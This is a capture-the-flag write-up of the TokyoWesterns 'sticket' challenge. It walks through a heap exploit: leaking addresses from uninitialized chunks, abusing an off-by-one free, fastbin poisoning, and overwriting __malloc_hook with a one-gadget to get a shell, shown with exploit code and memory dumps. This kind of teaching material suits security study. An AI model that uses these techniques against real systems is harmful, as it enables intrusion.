sticket (21 solves)
Why don’t you ride the Shinkansen ?
nc pwn1.chal.ctf.westerns.tokyo 31729
The binary turns out to be a “ticket vending machine”
$ ./sticket
Shinkansen Ticket vending machine
[LOGIN] Input your name : AAAABBBB
1. Reservation
2. Confirmation
3. Cancel
0. Logout
>> 1
Stations:
[00] Tokyo
[01] Shinagawa
...
[33] Kokura
[34] Hakata
Station to get on >> 10
Station to get off >> 10
Car number(1-16) >> 1
Seat number(1-20) >> 1
Comment length >> 10
Comment >> AAAA
1. Reservation
2. Confirmation
3. Cancel
0. Logout
>> 2
Reserved Tickets
#========================================#
ID : 1 (Toyohashi - Toyohashi) 1-1D
comment : AAAA
#========================================#
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
So, we can reserve a ticket, view the reserved tickets and cancel them. We’re also able to define a name (which can be changed by doing a logout and login again).
Let’s start with leaking some addresses here.
printf("Comment length >> ");
commentLen = getint();
if ( commentLen <= 255 )
{
char* buf = malloc(commentLen);
if ( buf )
{
ticket.Comment = buf;
printf("Comment >> ");
getnline(buf, commentLen);
}
}
Obviously, the allocated space for the comment doesn’t get zeroed out, before reading our comment, so this can be used to read some data from the heap.
For leaking heap addresses, we just have to create some comments, which will be stored in fastbin chunks and then cancel our tickets, which will put the comment chunks into the fastbin list and populate their FD
pointer with the address for the next chunk.
reserve("01", "02", "03", "04", "20", "AAAABBBB")
reserve("01", "02", "03", "04", "20", "AAAABBBB")
cancel(2)
cancel(1)
reserve("01", "02", "03", "04", "0", "")
LEAK = confirm()[110:]
HEAPLEAK = u64(LEAK[:LEAK.index("\n")].ljust(8, "\x00"))
This will create four chunks. One for the ticket “header” and one for the “ticket comment” per ticket.
0x603000: 0x0000000000000000 0x0000000000000021 <== Ticket header
0x603010: 0x0000004100040003 0x0000000200000001
0x603020: 0x0000000000603030 0x0000000000000021 <== Ticket comment
0x603030: 0x4242424241414141 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021 <== Ticket header
0x603050: 0x0000004400040003 0x0000000200000001
0x603060: 0x0000000000603070 0x0000000000000021 <== Ticket comment
0x603070: 0x4242424241414141 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000020f81
By cancelling those tickets, the allocated chunks will be freed and put into the fastbin list.
0x603000: 0x0000000000000000 0x0000000000000021 <== Fastbin 1 (Ticket header)
0x603010: 0x0000000000603020 0x0000000200000001 <== FD
0x603020: 0x0000000000603030 0x0000000000000021 <== Fastbin 2 (Ticket comment)
0x603030: 0x0000000000603040 0x0000000000000000 <== FD
0x603040: 0x0000000000000000 0x0000000000000021 <== Fastbin 3 (Ticket header)
0x603050: 0x0000000000603060 0x0000000200000001 <== FD
0x603060: 0x0000000000603070 0x0000000000000021 <== Fastbin 4 (Ticket comment)
0x603070: 0x0000000000000000 0x0000000000000000 <== FD
0x603080: 0x0000000000000000 0x0000000000020f81
So, when we now allocate a new ticket with a comment length of 0
, it will first allocate a chunk for the ticket “header” (Fastbin 1
) and then another for our comment (Fastbin 2
). But since getnline
checks for the length of the data to read, it won’t read anything and just lets the data currently at that address untouched (which happens to be the FD
pointer of Fastbin 2
).
Thus, we can now just read the confirmation of our created ticket and the comment will be the FD
pointer of Fastbin 2
.
Reserved Tickets
#========================================#
ID : 1 (Shinagawa - Shin-Yokohama) 3-4E
comment : @0`
#========================================#
$ python xpl.py
[+] Starting local process './sticket': pid 4453
[4453]
[*] Paused (press any to continue)
[*] HEAP leak : 0x603040
We can now do the same thing to leak a pointer to main_arena
. The only difference is, that we create bigger comments, so our comment chunks won’t get put into the fastbin list, but into unsorted bin list, thus populating the FD
pointer with a pointer back to main_arena
.
But the idea stays the same, by reserving a ticket with comment length 0
, we’ll get an existing chunk without changing its content, thus reading the stored pointer from there.
logout("A")
reserve("01", "02", "03", "04", "255", "AAAABBBB")
reserve("01", "02", "03", "04", "255", "AAAABBBB")
reserve("01", "02", "03", "04", "255", "AAAABBBB")
cancel(2)
reserve("01", "02", "03", "04", "0", "")
r.recvuntil(">>")
LEAK = u64(confirm()[213:213+6]+"\x00\x00")
LIBC = LEAK - 0x3c4c78
log.info("LIBC leak : %s" % hex(LEAK))
log.info("LIBC base : %s" % hex(LIBC))
Ok, with the leaks out of the way, we need to think of a way to corrupt the heap.
Let’s take a look at the cancel
function
void cancel()
{
int index;
int listIndex;
printf("Input the ID to cancel >> ");
index = getint();
if ( index >= 0 && index <= 16 ) // Wrong boundary check
{
listIndex = index - 1;
if ( *(list[listIndex]) )
{
free(list[listIndex]->Comment) // Free comment chunk
free(list[listIndex]) // Free ticket chunk
list[listIndex] = 0
}
else
{
puts("Nothing to do...");
}
}
else
{
puts("Out of range...");
}
}
cancel
fails at checking the boundary of the list array. It reads the index
from the user, then subtracts 1
of it and uses this as the index of the element to free.
By this, it’s possible to free list[-1]
, so let’s take a look, whats just before the list array in memory.
gef➤ x/100gx 0x602220
0x602220 <name>: 0x4141414141414141 0x0000000000000000
0x602230 <name+16>: 0x0000000000000000 0x0000000000000000
0x602240 <name+32>: 0x0000000000000000 0x0000000000000000
0x602250 <name+48>: 0x0000000000000000 0x0000000000000000
0x602260 <name+64>: 0x0000000000000000 0x0000000000000000
0x602270 <name+80>: 0x0000000000000000 0x0000000000000000
0x602280 <list>: 0x0000000000000000 0x0000000000000000
0x602290 <list+16>: 0x0000000000000000 0x0000000000000000
0x6022a0 <list+32>: 0x0000000000000000 0x0000000000000000
0x6022b0 <list+48>: 0x0000000000000000 0x0000000000000000
0x6022c0 <list+64>: 0x0000000000000000 0x0000000000000000
0x6022d0 <list+80>: 0x0000000000000000 0x0000000000000000
0x6022e0 <list+96>: 0x0000000000000000 0x0000000000000000
0x6022f0 <list+112>: 0x0000000000000000 0x0000000000000000
As in many other challenges, which let us enter a name, it’s pretty obvious, that we could do some mischief with it, and here it is.
Since the name
is directly aligned with our list
, we could specify a name long enough to fill up the entire struct and thus put an arbitrary address directly before the list array, which we can then free
.
Let’s put something useful into our name now
payload = "A"*8
payload += p64(0x21)
payload += p64(0x0) + p64(0x0)
payload += p64(HEAPLEAK + 0x1e0) # points to fake comment chunk (will be created next)
payload += p64(0x21)
payload += p8(0)*(88-len(payload))
payload += p64(0x602230)[:6] # points to fake chunk in name
logout(payload, True)
0x602220 <name>: 0x4141414141000041 0x0000000000000021 <== Fake chunk
0x602230 <name+16>: 0x0000000000000000 0x0000000000000000
0x602240 <name+32>: 0x0000000000603220 0x0000000000000021 <== Pointer to fake comment chunk on heap
0x602250 <name+48>: 0x0000000000000000 0x0000000000000000
0x602260 <name+64>: 0x0000000000000000 0x0000000000000000
0x602270 <name+80>: 0x0000000000000000 0x0000000000602230
0x602280 <list>: 0x0000000000000000 0x0000000000000000
Now we have a fake chunk in our name object, and an address point to it at list[-1]
.
At name+32
we’ll put a pointer to a fake comment chunk on the heap, which doesn’t exist by now, but will be created by our next reservation (We have to create it after the logout, because it would have been freed already otherwise)
For that we now just create a big comment, and inside of that comment we forge another fake chunk
log.info("Prepare fake chunk on heap")
bigchunk = p64(0x0) + p64(0x0)
bigchunk += p64(0x0) + p64(0x0)
bigchunk += p64(0x0) + p64(0x0)
bigchunk += p64(0x0) + p64(0x71) # Fake comment chunk
bigchunk += p64(0x0) + p64(0x0)
bigchunk += p8(0x0)*0x50
bigchunk += p64(0) + p64(0x71) # Fake next chunk
reserve("33", "00", "03", "04", "200", bigchunk)
0x6031b0: 0x0000000000000000 0x0000000000000021 <== Ticket chunk
0x6031c0: 0x00007f4200040003 0x0000000000000021
0x6031d0: 0x00000000006031e0 0x00000000000000d1 <== Pointer to comment / Comment chunk
0x6031e0: 0x0000000000000000 0x0000000000000000
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000071 <== Fake comment chunk
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000000
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000071 <== Fake next chunk
0x603290: 0x000000000000000a 0x0000000000000000
So, now we constructed a fake chunk on the heap (at 0x603220
) and we have our fake chunk in the name
object, whose comment pointer
points to it.
We’ll now free our fake name chunk.
log.info("Free fake chunk in name (puts name fake chunk and heap fake chunk into main_arena)")
cancel(0)
As we’ve seen in the cancel
function, this will first free our fake comment chunk (putting it into 0x71
fastbin list) and then frees our fake ticket chunk in the name chunk (putting it into 0x21
fastbin list).
gef➤ p main_arena
$35 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602220 <name>, 0x0, 0x0, 0x0, 0x0, 0x603210, 0x0, 0x0, 0x0, 0x0},
top = 0x6033d0,
last_remainder = 0x6031d0,
But we’re not able to manipulate the content of that fastbin (yet).
So let’s just free the big chunk we created around it and recreate it.
log.info("Free chunk on heap and reallocate to overwrite fake heap chunk")
cancel(1)
MALLOC_HOOK_TARGET = LEAK - 0x18b
payload = "A"*48
payload += p64(0x0)
payload += p64(0x71)
payload += p64(MALLOC_HOOK_TARGET)
reserve("33", "00", "03", "04", "200", payload)
Since we created another comment of the size, we just freed, it will overwrite the same data as our previous big chunk
, and since that contained our fake chunk we’ll also be able to overwrite the freed fake chunk, thus overwriting its FD
pointer.
We’ll be using that, to overwrite __malloc_hook
by putting a misaligned address there, pointing to the highest byte of __memalign_hook
(which will be 0x7f, thus tricking malloc into thinking that would be a valid fastbin chunk. See BabyHeap2017 from uafio
for more details on this).
0x6031c0: 0x0000004100040003 0x0000000000000021 <== Ticket chunk
0x6031d0: 0x00000000006031e0 0x00000000000000d1
0x6031e0: 0x4141414141414141 0x4141414141414141 <== Comment chunk
0x6031f0: 0x4141414141414141 0x4141414141414141
0x603200: 0x4141414141414141 0x4141414141414141
0x603210: 0x0000000000000000 0x0000000000000071 <== Fake comment chunk (freed, in fastbin list)
0x603220: 0x00007fb83807facd 0x000000000000000a <== FD pointer pointing to MALLOC_HOOK_TARGET
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000000
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000000000
0x603280: 0x0000000000000000 0x0000000000000071
gef➤ p main_arena
$37 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602220 <name>, 0x0, 0x0, 0x0, 0x0, 0x603210, 0x0, 0x0, 0x0, 0x0},
top = 0x6033d0,
last_remainder = 0x6031d0,
So, now everything’s prepared for our finale. We now just allocate another comment chunk with a size around 100, which will then get our chunk at 0x63210
served from malloc, which will then put our fake FD
pointer (MALLOC_HOOK_TARGET
) into the fastbin list.
log.info("Allocate chunk to get fake FD pointer into fastbin list")
reserve("33", "00", "03", "04", "100", "AAAA")
gef➤ p main_arena
$38 = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x7f5fd990eacd <_IO_wide_data_0+301>, 0x0, 0x0, 0x0, 0x0},
top = 0x6033d0,
last_remainder = 0x6031d0,
The next allocation for a chunk with a size around 100, will now be served with a chunk overlapping __malloc_hook
, so we can use that comment to overwrite it with something useful (like an one gadget).
log.info("Allocate chunk to overwrite MALLOC HOOK")
ONE = LIBC + 0x4526a
payload = p8(0)*19
payload += p64(ONE)
reserve("01", "02", "03", "04", "100", payload)
0x7f30a4697ad0 <_IO_wide_data_0+304>: 0x00007f30a4693f00 0x0000000000000000
0x7f30a4697ae0 <__memalign_hook>: 0x0000000000000000 0x0000000000000000
0x7f30a4697af0 <__malloc_hook>: 0x00007f30a431824a 0x000000000000000a <== ONE gadget
The next time, malloc
tries to allocate memory, it will execute the function in __malloc_hook
, resulting in executing our one gadget, triggering a shell. So all we have to do now is to allocate some memory, by reserving another ticket
log.info("Call malloc to trigger shell")
r.sendline("1")
r.interactive()
And there we go :)
$ python xpl.py 1
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
[*] Initial login (Create fake chunk in name
[*] Relogin
[*] Leaking heap and libc addresses
[*] HEAP leak : 0xf71040
[*] LIBC leak : 0x7f5d3093cc78
[*] LIBC base : 0x7f5d30578000
[*] MALLOC hook chunk : 0x7f5d3093caed
[*] ONE gadget : 0x7f5d305bd26a
[*] Prepare fake chunk in name
[*] Prepare fake chunk on heap
[*] Free fake chunk in name (puts name fake chunk and heap fake chunk into main_arena)
[*] Free chunk on heap and reallocate to overwrite fake heap chunk
[*] Allocate chunk to get fake FD pointer into fastbin list
[*] Allocate chunk to overwrite MALLOC HOOK
[*] Call malloc to trigger shell
[*] Switching to interactive mode
$ ls
flag
start.sh
sticket
$ cat flag
TWCTF{h4v3_4_fun_7r1p_0n_5h1nk4n53n}